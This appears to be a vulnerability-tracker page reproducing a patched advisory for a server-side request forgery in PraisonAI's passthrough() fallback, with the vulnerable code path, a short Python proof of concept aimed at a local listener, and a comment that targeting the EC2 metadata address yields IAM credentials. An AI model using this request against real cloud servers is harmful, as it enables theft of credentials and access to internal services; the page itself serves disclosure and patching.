Zero Day MonitorZDM
DashboardVulnerabilitiesTrendingZero-DaysNews
Login
ImpressumPrivacy Policy
Zero Day Monitor © 2026
904 articles · 101767 vulns · 36/41 feeds (7d)
← Back to list
7.7
CVE-2026-34936PATCHED
python packaging authority · praisonai

PraisonAI: SSRF via Unvalidated api_base in passthrough() Fallback

Description

### Summary `passthrough()` and `apassthrough()` in `praisonai` accept a caller-controlled `api_base` parameter that is concatenated with `endpoint` and passed directly to `httpx.Client.request()` when the litellm primary path raises `AttributeError`. No URL scheme validation, private IP filtering, or domain allowlist is applied, allowing requests to any host reachable from the server. ### Details `passthrough.py:92` (source) -> `passthrough.py:109` (fallback trigger) -> `passthrough.py:110` (sink) ```python # source -- api_base taken directly from caller def passthrough(endpoint, api_base=None, method="GET", ...): # fallback trigger -- AttributeError from unrecognised provider enters fallback except AttributeError: url = f"{api_base or 'https://api.openai.com'}{endpoint}" # sink -- no validation before request response = client.request(method, url=url, ...) ``` ### PoC ```python # tested on: praisonai 1.5.87 (source install) # install: pip install -e src/praisonai # start listener: python3 -m http.server 8888 import sys, litellm sys.path.insert(0, 'src/praisonai') del litellm.llm_passthrough_route from praisonai.capabilities.passthrough import passthrough result = passthrough( endpoint="/ssrf-test", api_base="http://127.0.0.1:8888", method="GET", custom_llm_provider="__nonexistent__", ) print(result) # expected output: PassthroughResult(data='...', status_code=404, headers={'server': 'SimpleHTTP/0.6 Python/3.12.3', ...}) # listener logs: "GET /ssrf-test HTTP/1.1" 404 # on EC2 with IMDSv1: api_base="http://169.254.169.254" returns IAM credentials ``` ### Impact On cloud infrastructure with IMDSv1 enabled, an attacker can retrieve IAM credentials via the EC2 metadata service. Internal services (Redis, Elasticsearch, Kubernetes API) are reachable without authentication from within the VPC. The Flask API server deploys with `AUTH_ENABLED = False` by default, making this reachable over the network without credentials.

Affected Products

VendorProductVersions
python packaging authoritypraisonaipip/praisonai: <= 4.5.89

References

  • https://github.com/advisories/GHSA-x6m9-gxvr-7jpv(advisory)
  • https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-x6m9-gxvr-7jpv
  • https://github.com/advisories/GHSA-x6m9-gxvr-7jpv
CVSS 3.17.7 HIGH
VectorCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
CISA KEV❌ No
Actively exploited❌ No
Patch available
praisonai@4.5.90
CWECWE-918
PublishedApr 1, 2026
Tags
GHSA-x6m9-gxvr-7jpvpip
Trending Score0
Source articles0
Independent0
Info Completeness0/14
Missing: cve_id, title, description, vendor, product, versions, cvss, epss, cwe, kev, exploit, patch, iocs, mitre_attack

Community Vote

0
Login to vote
0 upvotes0 downvotes
No votes yet

Related CVEs (5)

MEDIUMCVE-2026-32794
Improper Certificate Validation vulnerability in Apache Airflow Provider for Databricks. Provider code did not validate certificates for connections to Databricks back-end which could result in a man-
Trending: 20
CRITICALCVE-2026-34935
PraisonAI: OS Command Injection in MCPHandler.parse_mcp_command()
MEDIUMCVE-2026-34881
OpenStack Glance <29.1.1, >=30.0.0 <30.1.1, ==31.0.0 is affected by Server-Side Request Forgery (SSRF). By use of HTTP redirects, an authenticated user can bypass URL validation checks and redirect to
CRITICALCVE-2026-34934
PraisonAI Has Second-Order SQL Injection in `get_all_user_threads`
MEDIUMCVE-2026-34939
PraisonAI Has ReDoS via Unvalidated User-Controlled Regex in MCPToolIndex.search_tools()

Pin to Dashboard

Verification

State: unverified
Confidence: 0%

Vulnerability Timeline

CVE Published
Apr 1, 2026
Patch Available
Apr 1, 2026
Discovered by ZDM
Apr 1, 2026